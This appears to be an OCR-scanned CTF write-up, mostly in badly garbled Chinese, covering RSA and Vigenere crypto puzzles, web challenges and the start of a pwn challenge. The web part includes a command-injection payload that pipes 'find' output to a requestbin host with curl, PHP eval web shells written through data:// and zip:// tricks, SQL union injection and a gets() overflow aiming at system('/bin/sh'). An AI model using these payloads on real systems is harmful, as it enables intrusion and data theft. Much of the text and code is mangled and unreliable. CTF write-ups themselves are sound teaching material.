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e pMq: BWANKRHKIEE, RA-NSHENBKFHNET.

o N: REH, WUURZA #H

o e fld: HALREKIFATEE

o cHlm: MBI

e (N,e): A%

e (N,d): B#H

* pow(x,y,z): RRFM pow(x, y)1 % z, SGHEXHyRTT, MRHFER—NSH z, TEENERETIE.
o HHKE: nbAZHRIRRKAIE, %K E 5120 Z B H R R 0K B N512bit.

RSAX &

1. BEHDMKRNSE, TEHEHN=p*q
2. WERKFEE @ = (p-1)* (9-1), RFiEFE—1e(1<e<@), HHeMeEF (HFE: ALERB1HIFHAEED

3. WMelER#d, HEAENe*d=1(mod @) (ERILE: WRHENEESHeMnEE, I2—wn] REELHD, FHe*
d-1 #nEER, B die * dBnBRIIREUR. XB, dEtMler ERITTE". BRIEER UARIEAER TRV AFE. B
NEHab, EIIRUEHEMTERREFISE: a=b(modm), HLWIHSERIREN2, 113/ N2, FRUEHI1=
5(mod 3). )

4. XX mBEATINGE: ¢ = pow(m, e, N), AT LAB B %% X c.

5. STELCHATIEE: m = pow(c, d, N), BT A13 2 #H X m.

53| pythonfiii 4<

Crypto.Util.number import
gmpy2 import
secret import p,flag
bytes_to_long( (flag,encoding
getPrime(1024)
qrp
(p-1)*(q-1)
0x10001
d invert(e,phi_)
C ( (flag, e, n))

print(long to_bytes( (c, d, n)))

print((c,q,n))

WLER H1IE ,out putPd 543 Hl f&c,q,n

e= 0x10001(65534)



TiflagBP 4 BA 3C
1.#Hn=p*q f# H pHI{E

2. Hp,q.ef@ HdrE

import gmpy2

def Decrypt(e,p,q):

L=(p-1)*(q-1)
d=gmpy2.invert(e,L)

d (d)
print(

if _ _name__

p=1145143
4=1668367055846815181481797379558426052132722078367521878451241494611511819
0377937477528152934685478625971954569915750888550081899401961815870821277783376844432765864732455509045923365773
7950932895018766440119999513331707759691054888319029069397903003240927552065429412176600134636921146805408664505
115889561043
e=65537

Decrypt(e,p,q)

3.i8idc,d,nfi# i m(BH 3C)

c =1771776720610256629365873453472683131272416519652568823231807493175157332560881631869145506826352452944148798
6281065477320764468726259644087009440937884930718848575570013879765103993644599843383051620763085873309058164359
2843521203499818069822504434370840254518614785953412492701730326524258672860416318501278155194
d=15516010388271701860956864424510834809578657606848756554271759731327812464171509512168735754530407601222290501
6319572568740185239793256979452945732586110004573106555069367850082306040189904825031273432690062624018363345163
634350533615158456233432021512870244687482994987178783208187370836526941286631745116461008173

n =1910518855433589477367609896619674684617421758988019106455290038863910478988396245682902163608453305018140197
2057032719766906436526860759711759890504689509764270800637318298995375820852301034514820047525753833660269521181
9055893667974317905617522838840325499754862033348148407978527792816186094297381925119601464149

M (c,d,n)

print(M)

41533

72746355285603694099341480655084 74716662557684655530868749793661

TEM R W py S

flag = bytes to 1 (bytes(flag,encodi

from Crypto.Util.number import
flag long to bytes(161918899375194776287274635528560369409934148065508428774716662557684655530868749793661)
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hint.txt
Why not start with the short one,or make full use of Ur powerful pc and the Internet

AN NI RITTAG,  BRE 78 207 P AR 35 K B\ B A1 EL I A e

cipher.txt
Oowfza errgbbirtgpl ks afiiklr cifgd ho unvhxnigkctm bugokz iaf chnxhvek tkvgnvf xeccmjkr; errgbbirtqpve aehwekt
ana nte wfavinxe iequge kbopnuigkogbt ucrwomfu altczrtbpvf, oadjvt uuvi iyiokjbuos abzq vo usmnm ig TGP vhxsm vu

nh umnts bo dviegfzr

4 B H AR IR K flag e AL B B 5 — H01F

TGP vhxsm vu nh umnts bo dviegfzr
TGP 2274 SYC

5.3 i BV AR A

import string,os

import itertools

def  vigenereEncrypt(msg,key):
size (key)
result []
cnt (%]
for i in msg:
if i.upper() in string.ascii_uppercase:
offset = string.ascii_uppercase.find(key[cnt%size])
t = string.ascii_uppercase[(string.ascii_uppercase.find(i.upper())-offset)%26]
if i.isupper():
result.append(t)
else:
result.append(t.lower())
cnt+=1
else:
result.append(i)
return .join(result)

def main():
for i in itertools.product( , repeat=3):
stril .join(1)
msg
cipher = vigenereEncrypt(msg,strl)
if cipher
print(strl)
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HACI TR IEH I HIK R, CIATHHES — AR FEIR. FILBRNZEX AR R 72K A F
BT IEEMRHTILE, BRICIHCIHZER/NNSHKE, BAEHAKE.

BERNEH TS TR FERANEASE, HEFEXKEELBK, MHEAKEHARAK.

i A

def c_alpha(cipher):
cipher_alpha
for i in ( (cipher)):
if (cipher[i].isalpha()):
cipher_alpha cipher[i]
return cipher_alpha

count_CI(cipher):
N [0.0 for i in (26)]
cipher c_alpha(cipher)
L (cipher)
if cipher
return 0
else:
for i in (L):
if (cipher[i].islower()):
N[ (cipher[i])
else:
N[ (cipher[i])
CI1-20
for i in (26):
CI_1 ((N[i] 7/ L) * ((N[i]-1) / (L-1)))
return CI_1

count_key len CI(cipher,key len):
un_cip [ for i in (key_len)]
aver_CI 0.0
count (4]
for i in ( (cipher_alpha)):
z i key len
un_cip[z] cipher_alpha[i]
for i in CEREDE
un_cip[i]= count_CI(un_cip[i])
aver_CI un_cip[i]
aver (I aver CI (un_cip)
return aver_CI




def pre_10(cipher):
M [(1,count_CI(cipher))]+[(0,0.0) for i in (49) 1]
for i in (2,50):
M[i] (i, (0.065 count_key len CI(cipher,i)))
M (M, key lambda x:x[1])
for i in (1,10):
print (M[i])

[
0651738, ©.0124248, 0.0217339,

.0349835, 0.1041442, 0.0197881,
.0158610, ©.0492888, 0.0558094,
0009033, ©.0050529, 0.0331490,
.0202124, 0.0564513, 0.0596302,
.0137645, ©.0008606, 0.0497563,
.0515760, ©.0729357, ©.0225134,
.0082903, ©.0171272, 0.0013692,
.0145984, ©.0007836

ipher

c_alpha(cipher)

0.0005158730158730113)
0.0007407407407407363)
0.0018686868686868668)
0.003521241830065351)
0.004215686274509814)
(6, 0.004495798319327726)
(40, 0©.007499999999999993)
(28, 0.008027210884353743)
(42, 0©.008809523809523837)
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FEAS DU B MR A B A 4k SR AR Al




import string,os
import itertools

def  vigenereEncrypt(msg,key):
size (key)
result []
cnt (7]
for i in msg:

if i.upper() in string.ascii_uppercase:

offset string.ascii_uppercase.find(key[cnt%size])

t string.ascii_uppercase[(string.ascii_uppercase.find(i.upper())-offset)%26]

if i.isupper():
result.append(t)

else:
result.append(t.lower())

cnt+=1

else:
result.append(i)
return .join(result)

def main():
for i in itertools.product( , repeat=3):
strl .join(1)
str2 strl
msg
cipher vigenereEncrypt(msg,str2)
print (str2,cipher)
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1. FEITIF

from Crypto.PublicKey import RSA
from secret import flag

from Crypto.Util.number import bytes to long, long to bytes

bytes to_long( (flag, encoding ))

rsa RSA.generate (1024, e=3)

print( . (i+1, (rsa.n)))
C_ ( (M_,rsa.e,rsa.n))

print( . (i+1, (D))

2 F Fle A A 35 AniE R RSAKINE fa B

3. Ren3F1c3 M 1632k il e 79 1032k il 7 38 i {1 n % 6 H ek B /T 48 Zlflag

110444451617731422470313274601297570194905932082792080746531825088751081137150078189133814293652572514918395
8429826437385676270993630731421990321790431950032305365332577327748906258335542979678689885893450032709514985916
98828308365405453697532590928981073390470439596823830668563846029055570541162611802350153
C 420753553431827971271625530234796350469453575976612218479237791299992626927754394035643657049947205554263778
©835695205027495255184742236101765482436283119048558754994992962189271220645593837945707937692143588451023815786
3511065249097926265004797738355818268535781487519142177004806574830344019362404305048679
e 3
i=20
s = time.clock()
while 1:

m, b = gmpy2.iroot(c+i*n, e)
if b:
print( , m)
print( 5 (time.clock()-s, 2),
break
1




Simple calculation
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flag : SYC{S50S51592555}

So*x1+ 851 *x1+Sox1+S3x1+S,x1=3
So*x1+S1*1+S2%x1+S3%x3+8,%x5=7
So*x1+ 8512+ 85 %x2+853x3+85;,x3=1
So*1+ 8512+ 82«5+ S3%x3+8S4x1=1
So*x1+ 851 %2+ 8Sox1+S3%x2+S,%x1=20

SHMENZFEFEREELZREF I N A AL E
mns =onlj>hA

2. FHAER
3BT FRA EEERERNELN
S0 + S1+S2 +S3 + S4 mod 26 =3iXF I =R

4 RSB PR 45 R

if _ _name__ :
for a in (CIVIHE
for b in (0, 26):
for c in (0, 26):
for d in (0, 26):
for e in (0, 26):
if (a+b+c+d+e) 26 3 (a+b+c+3*d+5*e) 26 Vi (a+2*b+2*c+3*d+3*e) 26 1
(a+2*b+5*c+3*d+e) 26 1 (a+2*b+c+2*d+e) 26 20:

print(a,b,c,d,e)
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3. H R M www.(rar,zip 2 R & 4 SCHE G %)
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http://106.54.75.217:8080/?username=admin

o T

Enable POS application/x-www-form-urlencoded

passwd=syclover

2. 1iE

5 3flag
% ARG E A E Rk
Welcome

Longlone

- EEHbhE http://49.234.224.119:8000/ ZEHEA: D
SRR E AL

In addition to the GET request method, there is anoth
er common request method... hint2: Try to use burpsu
ite to do this challenge
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W SRIMEIR TS W SSTFRITHAY STdrol il N Cdheds W WTTRH el IR MBS e TROETRAL G Adedni

<{Tphp
error_reporting (0);

if ($_SERVER[ FEQUEST_METHOD'] !== "POST' ) |
header ("HITP/1.1 405 MNethod Not Allowed”);
exit();
b oelse |
if (lisset(3_POST[roaml’]) || !isset($_POST[ roam2’ 1) {
show_source(_ FILE_ ).
1
else if (3 POST[ roaml’] '== 3F_POST[ roam? ] && shal(3 _POST[ roaml’]) === shall$_POST[ roam?’ 1)) 1
phpinfol); ff collect information from phpinfo!
1

3. M roam1[]=1&roam2[]=2 B} i g&id
RNTEphp i shat B $ To i A 3 B 20, 24 Ab B 4 4H I 23R Bl false

W& 5 Nfalse BN AT £33 5 H st

=5 faik
string FE. IEEITENFEE.
raw ofi%, HlET s ESE S

e TRUE - Ff& 20 =& H8RE=
s FALSE - Biih. 40 =F+~ifsE

BAHET
EEE: ARATNEEIE TSI SHA-1 5(, MBEMMGER FALSE.
PHP KR+ 4.5.0+
EFEE: # PHP 5.0 R, raw SEIEERIATSEA.

4. B3 SeE Ja AT T phpinfo ()& %t



fEcoret R % Blflag 3 A H Bt EENmIE & T

Core

PHP Version 7.2.34

Directive Local Value Master Value
allow_url_fopen On On
allow_url_include Off Off
arg_separator.input & &
arg_separator.output & &
auto_append file
auto_globals jit —tOn On
auto_prepend file { Jvar fwww/html/f1444aagggg.php _\> [varfurmw/html/f1444aagggg.php

~__

5. EEM T B3

& C A T2 | 49.234.224.119:8000//f1444aagggg.php

iR PHP Sk =R FEEE= pythen == CTF

Not Found

! The requested URL was not found on this server.

TEmE Bz Sk H 3 Elflag

% 1 gititt 58

EZgit

Lola
2 Hithht-http://47.100.46.169:3902/

LR ASF A A GERgitH TS, XMitnBaEs

150
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2381t GitHack-master T. 5.5 31| 1t 58 1) S 4
—/Nflag.php3tfF,BRITHRE flag is toooo old!

3.5 RAE Z githR A 45 1R, 58 #: T E Git_Extract-master

75 2 itk 5 SO Y R 0 g 1 thRA R AT 1 B

4 35 So 4 4 g .php B IE Hflag

% R 11E ]

- xThy9

1: EBibhk: http://39.106.144.160:100/

B, BEENPAIAMSREREN 7 ARD, bR/
®

150

1 ERSRAER G ER
2.3 NP 35 4R R B 3R B —AMiuzhuang.php bak 1 & 43 S04

3.7 Al T # & A SXA

<?php
eval (§ POST['liuzhuang']);

//UEAE RN AR E A FK 1iuzhuang

/PRI AR 55 85§ Oxliuzhuang HEENIE B L GTHLES T
7>
B FES

4.8 TR T E—ARERAT phpAURS B T TR BEAT 8

53833 & 3 U liuzhuang.php



< C A == 39.106.144.160:100/liuzhuang.php

e PHP e i mEE pythan =2 CTF ¥ @ cu#iEs|®E. ¥ geekchallenge =2
V7 17 BT
6.1 8 H R E G Blflag
2% fH:php 2 fE i
1.strcmp2.

ezbypass

kodosan

mRith-hitp://49.234.224.119:7417/ {FBEXIHR S
SEEEAL?

150

1A TUTH

Please use a GET request to pass in the variables a and b, compare them with strcemp and let strcemp return a value of NULL.

Note that a and b cannot be equal.

EREHGETIERIENT Eafb, ¥l 5strempiiT b, FHikstrempik [BINULLAE .
EREafIb N REHEL .

¥yita[=1&b[=2%t



stremp () R R B EAHAFR B T REO,

2 stremp R B EL L H AR BB (5 Bt 2 IR [FINUL L (k20 ) 18

OKOK,You got the first step.
Please POST a variable c that is not a number to make it equal to 123

SRR —AMIARE TR R, HHET123

Hitc=123a%sit

php35 tEBL (==)

AT LTI Sk, IBUT KB e g R, AN ftie

% i csrf(B8 kI A B i)

Longlone

=R http://173.82.206.142:8005/ SRR A R4
etk FELfRflag S 2iX AEH

1.No sessionid!Don’'t Try to be admin(robot?) 2.Do yo
u know csrf?

200

Ron1. % B sessionid! FIEXEER (FEEAN? D) 2. /RKHMiEcsG?
138 T 3R HE A 7 BTt & sessionsk BN B IR 154

2. BEN T, AT B 3 M B E T
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FFE

Longlone

Morouu

£ 8E

BT

Longlone

Longlone

Morouu

Longlone

=]

M R

i

BUG: EIIRERTELIBUG

<[ElF>BUG: BUGE#Z{EIFT

i#F REF LIEREE

<> RF CENFK DT TE

T2 WSHIL 7 FEIvRICR

1%ifF . LongloneiA TV EABRRSPHIEET

<EIE> R HEFFEEHMIREERS
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4 X I R E M G csrRBEAT & T HEER

<form action="" method="post” enctype="multipart/form-data” clazs="form-horizontal formmaterial”>
<div clazz="form—group”>
¢label claze="col-nd-12">IR& E </ labelr
<div class="col-md-12">
{input type="text" name="thame” placeholder="BUG/IHR/EF 2" class="form-control form-control-line”>
<fddwr
< ddw
<div clazz="form—group”>
<lghel class="col-md-4" > IFE < 1abels
<div class="col-nd-4">
{input type="text” name="code” placeholder="md5 ($code) [0:5] == 6d996" class="form-control form-control-line”>
£ ddvy
< ddw
<{div clazz="form—group”>
<label clazs="col-md-12">iBE M E </ label>
<div clasz="col-md-12">
Ctextarea rows="58" name="contentz” clazs="form-control form-control-line” </ textarea’
< diwy
<fdive
<div clazz="form—group”>
<div clasz="col-sm—12" stvle="text-align: right”>
<hbutton class="btn btn-success” > % IE & <button>
<fdive
<fdive
fforme

BEERBER

5. 36 F AL i pythonfifl A< md 575 2]

import hashlib

for i in (CEEEEEEDE
md5_ins hashlib.md5(( (1)) .encode(

a=md5_ins.hexdigest()
if a[:5]
print(i)

break

6.1 & csrfil A
<!doctype html>

sssdaskdlaskl

RZFNH ORIk S & L AR EEREE IR 5 IR
H—&HaB I E O RERNE, BRI EfagBiw]

B AN



HEA7E

{E kodosan
A

s FEHhE: http//49.234.224.119:741
£ 5/ BEEEARRTBESSANES, #
EEBEEASOCT i,

% psqliEA

1. B & IsqlyEN
2 AW AN SR

A 71 $ 4
1 ' order by 4 #

ABREENBERRERES

1' union select 1,database(),version(),4

R Ngeek_sql
S5 EEBHENNRS

geek_sql’

KB FK4blog,fllllag

6. EHWRINTE

1 fllllag'

PB4 Nid,fl11111ag

7. BHTFENE




4 1 1)

{E&: liuZhuang

Ta: Bk http://120.79.197.4:5000/ 3B #at: XHFEK
THE, XXRETEFEAb{Epythong&EiHE 7

200

o R

1B H B RIEFE— N EIA 1/68E 3 M 2h

B—RRME X BEH RTHT RS

2HEERK MIE T Fkget 9 B cookie P i A & 2R



Cookie: session=eylkb251X3RpblVzIjoxfQ.X51lep.hWBBaMewMG B8dDPxH-BRSdbFUMo; answer=d

3.5 € s i A 75 % cookie H R B R 2 IR IR A

import requests

def request_func(req):

request_n request.post( ,data=req.cookies)

print(request_n.text)
return request_n

request requests.session()
req request.get(
req2 request.post( ,data=req.cookies)
print(req2.text)
need_req request_func(req2)
i=20
while i 20:
i 1
need_req request_func(need_req)

4 20T )58 2 T flag

HXE ) php# 2
HXEfphp#iz

AFKL

HHithht-http://47.94.239.194:8082/ B HnA-HIXE (P
STEZXSAEE) NphpBiEtg! A? FEAASH?

AEEESEEFASUGS

200

o execER 5T

1 E TN LA TUHE, 205 B R E R E R T



< C A F==| 47.94.239.194:8082/displaySourceCode.php?phpfile=JN/flag.php
| PHP Fiafis BEs =4 CTF ¥ EEEE- 20045 ¥ ge

<php
$flag = “STCHlagTEEE, EFEFEW "
echo “IESCHIIM 1145141010810 BRI TR

if (/*3_SESSION["pay”] »= 1145141919810%*/ falsze) {
echo $flag;
!

&« > C A F== | 47.94.239.194:8082/listdir.php?dimame=JN

EEEa o= PHP k= =T BEE o CTF S BESE-200

2 ES

flag.php

2 fEdirname=./k & 25 S 44

< G A F== | 47.94.239.194:8082/listdir.php?dirame=./

= PHP b= e BSE =2 CTF ¥ EEEE-2008E.. 3

2 ES

displaySourceCode.php
headjpg

index.php

listdir.php

style.css

waf.php

3.flistdir.php H 2 Elexect ki i % i 45 FH



< C A F==| 47.94.239.194:8082/displaySourceCode.php?phpfile=.//listdir.php

EEE = PHP L FREEs =& CTF ¥ SEEE-200fF... ¥ geekchall

IDOCTYFE html>

“himl>

‘head>
<meta http—equiv="content—type” content="text/html; charset=utf-8% />
Ctitled@rZE<titler

“/head>

{body>

{?php
include ("waf, ghp”) ;

!/ EREFREFRHITIE -
bzearch_dir = $_CET[ dirname’];
btitle = "¥1%",

/i Bplbansid A
bzearch dir = shellWaf ($zearch dir);

{ffcontents = zcandir (fsearch dir); shE{ER

axec( ls $search dir”®, $contents):
srint “<hlPftitled hly<he So<he /07

/Bl

foreach ($contentz as $item) |
if { iz file($search dir . "/ . $item) AND =zubstr($item, 0, 1) I=".7 1 {
/f FTEHER .
print “<a href=\"displaySourceCode. phptphpfile=fsearch dir/$item' " >$itemdfar<br />
1
f
ke

Z/bodsyy
Shtml >

wafth R fa] it g8 7 —EfF &

A BRfAE S A
function shellWaf ($=tring) {

return preg_replace("/ (&) | (3]0 (1] (<0 /17, 7, $etring):
1

4 (52 HA Zexec 4 RN —AN I, U A 245 2B &
T LA 3 it http://http.requestbin.buuoj.cn/X 3k 1) 8 — ANt 8217 sk 3l 45
#:http://http .requestbin.buuoj.cn/1fb1vbv1 ?inspect

i M A et wafff curliy & SR #EH4T B B W

s;curl http://http.requestbin.buuoj.cn/1fblvbvl?inspect="find / -name 'flag'"
5 GORETHKIES

T Rlinux Tad

fir & B B FEShe 11T LSBT~ I drS, K & RN RTE, 7E1E 2Ty it




http://http.requestbin.buwoj.cn
GET /Mfb1vbvi & 0 bytes

None Host: hitp.requestbin.buugj.cn
Connection: close
Accept-Encoding: gzip
inspect: /lagoogggoogaooog_1s_herefflag Accept: */*
User-Agent: curl/7.58.0

None

£ B O K5 Blflag 3 H 3

payload

|curl http://http.requestbin.buuoj.cn/1f0yjysl?inspect="1s"

B AT Blflagfs B
127.0.0.1|cat$IFSFlag.php

967462@data://text/plain,<?php @eval($_POST['cmd']);?>data://text/plain,<?php @eval($_POST['cmd']);?>data://text
.php/plain,<?php @eval($_POST['cmd']);?>data://text/plain;base64,PD9waHAgcGhwaW5mbygp0z8 data://text.php/plain,<

?php@eval($_POST['cmd']);?>

Myblog()5)
P

o phpthril

1230, KIX A7 EfilterOy B UK TR

> C A F==| 120.27.146.26:8002/index.php?page=home

&

http://120.27.146.26:8002/index.php?page=php://filter/convert.base64-encode/resource=home

152l home VB AL

4 FBP IR IR B
T 43 F A S Y dliry S 38 53 S I role SR A 25 B THT AR/



Payload set:

Payload type: | Simple list |v]

a )

Payload count: 1,154

Request count: 1,154

5 Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste
Load .. |

Rem

i

0
g

/dede )
fadmin

fadmin/user

ledit

{Fckeditor

fewebeditor

i

Enter a new item

| Add from list |

?]' Payload Processing

You can define rules to perform various processing tasks on each payload befare it is used.

3

Enabled  |Rule

Edit

]

W Substring from 1, length 1000

Remove L
Up
[ Down J

2 B R T loginit A —A~admin/user
a(| Request | Payload Status | Error \Timeout | Length *| Comment

3 admin/user 200 O O 24149

0 200 ] ] 9680

37 login 200 O O 5072

1 dede 200 O O 302

fERD )5 15 2P



<?php

error_reporting(9);

false;
1) and isset($ POST[
if ($_POST[ and $_POST|[ $_SESSION[

$logined true;
$ SESSION[ ] $logined;

isset($_SESSION[ $ SESSION| true){

if(isset($_FILES[ 1) and $ SESSION[ true){
$tmp_file = $§ FILES[ 10 1;
$tmp_path $ FILES[ 11 1;
if(($extension pathinfo($tmp file)[ 1
$allows array ( 5 5 5 );

if(in_array($extension,$allows,true) and in_array($_FILES[ 10 1,array_map(function($ext){return
.$ext;},%allows),true)){
$upload_name shal(md5(uniqid(microtime(true), true))). .$extension;

move_uploaded_file($tmp_path, .$upload_name);
echo

} else {

echo

3.0] LA 238 — Brphp BI B SR I0IE
K5 B4 518 — %€ NlLonglone
B Nsessiond [ password fllstatus A f 43 #4713k, Bt LAAE ik password flsession [ password H1 45, g ik 93 2 # o 2= B )

4 FR TN B8 T H



i l LONGLONE Blog's Dashboard Search.. O B o~ =

£ DASHEOARD

- Edit Profile
& userproFILE
Company (disabled| Username Email address
E- TABL Dmantick. Longlone Email
Fi Nam: Last Name
Longlone
Address
= C None
City Country Postal Code
City Country ZIP Code
1 971.23GB 24,516%
Files Used Spent About Me
SRIEE,TRE SR TR RS AiEh R MEE, L, BERk SIS, iy
B RS G e DR R ARZS.ENE L RER ESAAR
Team Members
Morouu
'& Available @ 1 - Click here to upload the picture
t BREEATE @
Angelina
Q LOGOUT

SEREE TR FEYRFERETE AFINARES N EEEMN EEMTEDEE 48R OERREIKE EaRNESB REREETRN IS8T
B 7EAS o Bt EnEE ST A E=5. N ETRERESAAR?

- Click here to upload the picture

UPDATE PROFILE

ER—Aupload \ [0
5.3% B@d phpth il b i zip il Geid
Je)izip.php A —FJiEAR T
[ zip.php - iBE& _ O x

P HEE) BIN0) EJN) EEIH)
l<?php @eval($_REQUEST['cmd']);?>

WJE R zipphp kg, k4 Nzip.zip, RIEEBERA N png Ri#AT5E L Kphp kA% 1d 38

6. b f&shell.pngf8 3| #42



120.27.146.26:8002 T~

Update image -> assets/img/upload/
lac5a73eci947f127cd8d9792bb68840ebdb75a8a.png

7 E OB Zip Oy B U R E A shell

I TH#IEgetid K i 2Rt 5 T [ 2 202 i BT LA ] getid SR & RLBEAT urldm i %23, B bib & Il X B2 R A AT, FreAR
REFH 2% B AZ

WSO 3 2% B AT (VTR SO = s IR BR T LR AR )

http://120.27.146.26:8002/index.php?page=zip:///var/www/html/assets/img/upload/b30319207db86bcat7ee6bb0501944c9d

la3aca7.png%23zip
X E G R zipM AR ESEE B zip. php AR E

18 B AT 15 2lflag
@ mE - | X
AntSword #5F 80 B
1 HH [0 120.27.146.26 [5120.27.146.26 »
O BaREME9) < || O 3#lE (14) ~
= f oFE ~ +LEE < Rilzr & FHF MEZE ~ | fvar/www/html/ + =5
=1 var
B HER Foels =43
=0 www
notes 2020-10-18 08:55:24 4 Kb 0735
=-F7| himl O -
B  notes D admin 2020-10-18 08:56:23 4 Kb 0735
B admin [ assets 2020-10-18 08:55:21 4 kb 0755
M assets D Css 2020-10-18 08:55:46 4 Kb 0735
Il css D images 2020-10-18 08:55:45 4 Kb 0755
B images 0O img 2020-10-18 08:55:26 4 Kb 0755
B img 0 s 2020-10-18 08:55:26 4 Kb 0755
B )
5 scripts 2020-10-18 08:55:25 4 Kb 0755
Il scripts
[ wvendor 2020-10-18 08:55:19 4 Kb 07535
I vendor
home.php 2020-10-18 08:55:45 6.85 Kb 0755
5 index.php 2020-10-18 08:55:26 146 b 07535
login.php 2020-10-18 08:55:26 3.47 Kb 0755
secret.php 2020-10-18 08:55:25 38b 0755
work-template.html 2020-10-18 08:55:24 6.34 Kb 0755
= 5T i
Pwn

Boopvepe?
P



nc

nc £ netcatfI &S, HHEMSFME L ETIRE. HABEMEE. IR, BRHA—HE, TEIMNETA
(1) EHAERTCP/UDPIHG HHIBINT, ncH] AME Hyserver ATCPERUDP J7 XA U7 & 5 b I

(2) #wEEEA, nchl MEANclientk BB TCPE UDP##

(3) HLEZ AL

(4) HLE%Z 18] P 2% Pl 2

Sh4oBal

A A28, =B, F=BALTAE EInE
TseIR? SHwO: nc 81.69.047 1111

https://xz.aliyun.com/t/3944;http://docs.pwntools.co
m/en/stable/index.html;https://www.vmware.com/pro
ducts/workstation-pro/workstation-pro-evaluation.ht
ml;https://ubuntu.com/download#download

150

1@ kali ncfy 48 H i 0

2,383 20 % B T 48 2l flag (B A 8] BR #1)

rootakali:~# nc 81.69.0.47 1111

I have 28 tests

'[e] num_1 = 907, num_2 = 331
I can't calculate the expression 'num_1 + num_2'.
input your answer:[j




runcode

1. BB http://81.69.0.47:5555/

- flagfE/home/ctf/flag, AsiFHBisystem, HBlruntime
errorll&frun—F

250

ZEH.CiES

C

Input your ¢ code:

[ run |

1.ERMACIE S 4 BEB1T

2. f N\ B ) B 4t — B AT UK

your output:
Hello, World!

A.Zh# 1 hello,world



SERBEKSHEEICESTH XM ES
i \payload

#include

int main()
{
FILE *fp NULL;
char buff[255];

fp fopen(
fscanf(fp, , buff);

printf( , buff );

fgets(buff, 255, (FILE*)fp);
printf( , buff );

fgets(buff, 255, (FILE*)fp);
printf( , buff );
fclose(fp);

B 3flag

liuzhuang-secret

liuzhuang-secret

Sh4oBal

[link1] https://share.weiyun.com/J7iGZ0Oja [link2] http
s://pan.baidu.com/s/TkKpOvFh9Bss2 SPXsaCjwWg 2H1
2 1znb @HBEww[: nc 81.69.0.47 1000

- B5HD, TERMropiA4 http://www.vuln.cn/6642 htt
ps://github.com/pwndbg/pwndbg https://ctf-wiki.gith
ub.io/ctf-wiki/pwn/readme-zh/

300

Flag
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root@liangyue:~/S M /B ZE A #Hk i # checksec pwnoe
[*] '/root/R H /1k & A k&L /pwnee’

Arch: amd64-64-1ittle

RELRO:

Stack:

NX:

PIE:

1.idase iz 2 3= bR it FH gets B 5, A7 7E AR i HH IR

char v4;

setvbuf(stdout, OLL, 2, OLL);
setvbuf(stdin, OLL, 1, OLL);
puts(

gets(&v4, OLL);

puts(

return OLL;

{5 FHOX70+83k 5 H

-00000000000OO70 ; D/A/* : change type (data/ascii/array)
-0000000000000070 ; N : rename

-0000000000000070 ; U : undefine

-000000000000P070 ; Use data definition commands to create local variables and function arguments.
-0000000000000070 ; Two special fields " r" and " s" represent return address and saved registers.
-000000000000PR70 ; Frame size: 70; Saved regs: 8; Purge: 0
-0000000000000070 ;

-0000000000000070

-0000000000000070 !

-00000000VVVLV6F ? ; undefined
-0000000VVVVLV6E ? ; undefined
-000000000000006D ? ; undefined
-000000000000006C ? ; undefined
-000000000000006B ? ; undefined
-0000000000VRV6A ? ; undefined
-0000000000000069 ? ; undefined
-0000000000000068 ? ; undefined
-0000000000000067 ? ; undefined
-000000000VVVLV66 ? ; undefined
-0000000000000065 ? ; undefined
-0000000000000064 ? ; undefined
-0000000000000063 ? ; undefined
-0000000000000062 ? ; undefined
-0000000000000061 ? ; undefined
-0000000000000060 ? ; undefined
-0000000VVOLO5F ? ; undefined
-0000000VPVVLO5E ? ; undefined
-000000000000005D ? ; undefined
-000000000000005C ? ; undefined
-000000000000005B ? ; undefined
-0000000000VRO5A ? ; undefined
-0000000000000059 ? ; undefined
-0000000000000058 ? ; undefined
-0000000000000057 ? ; undefined
-0000000000VVLO56 ? ; undefined




-0000000000000054
-0000000000000053
-0000000000000052
-0000000000000051
-0000000000000050
-00000000VVVLLAF
-00000000VVVLLAE
-000000000000004D
-000000000000004C
-000000000000004B
-000000000000004A
-0000000000000049
-0000000000000048
-0000000000000047
-0000000000000046
-0000000000000045
-0000000000000044
-000000000000004 3
-0000000000000042
-0000000000000041
-0000000000000040
-0000000000000O3F
-000000000000003E
-000000000000003D
-000000000000003C
-000000000000003B
-0000000000LLA3A
-0000000000000039
-0000000000000038
-0000000000000037
-0000000000000036
-0000000000000035
-0000000000000034
-0000000000000033
-0000000000000032
-0000000000000031
-0000000000000030
-000000000000002F
-000000000000002E
-000000000000002D
-000000000000002C
-000000000000002B
-000000000000002A
-0000000000000029
-0000000000000028
-0000000000000027
-0000000000000026
-0000000000000025
-0000000000000024
-0000000000000023
-0000000000000022
-0000000000000021
-0000000000000020
-000000000VVLLO1F
-000000000VVVVLA1E
-000000000000001D
-000000000000001C
-000000000000001B
-0000000000VBLO1A

undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined

undefined

undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined




-0000000000000019
-0000000000000018
-0000000000000017
-0000000000000016
-0000000000000015
-0000000000000014
-0000000000000013
-0000000000000012
-0000000000000011
-0000000000000010
-0000000VVVVLLOF
-0000000VVVVLLOE
-000000000000000D
-000000000000000C
-000000000000000B
-00000000VVVLVA
-0000000000000009
-0000000000000008
-0000000000000007
-0000000000000006
-0000000000000005
-0000000000000004
-0000000000000003
-0000000000000002
-0000000000000001
+0000000000000000
+0000000000000008

TR T NXGRIP GEARA AT AT ),
1T system(“/bin/sh”) .

fEsub_40076BH % Fshelldy 4

undefined
undefined
undefined
undefined

; undefined

undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined

; undefined

; undefined
; undefined
dup(?)

8 dup(?)

Bt A B AR FATA ] Be F shellcode ] FF —Ashell. 48 % 21 F systemigi £

rodata:0e0e2e22084008388 ; char aLiuZhuangThere[]

rodata:efeae8000400580 aliuZhuangThere db "liu zhuang:',8Ah 5 DATA XREF: main+61
rodata:0e0e222200400320 db 'There are some nice things in my room’,@
rodata:@000000000420562 abD db "%d',@ DATA XREF: sub_4@8876B+171
rodata:@e00002228488385 ; char command[]

rodata:ée600000804208585 command db "/bin/sh’,8 DATA XREF b_48a76B+3a1
rodata:00000000284208385 rodata ends

rodata:800806800004083885

int sub_488768()

{
int result; // eax
int vl; // [rsp+8h] bp-8h
int v2; S/ [rsp+C bp-4h
v2 = rand(};

isoc99 scanf("%d", &v1);

vl )
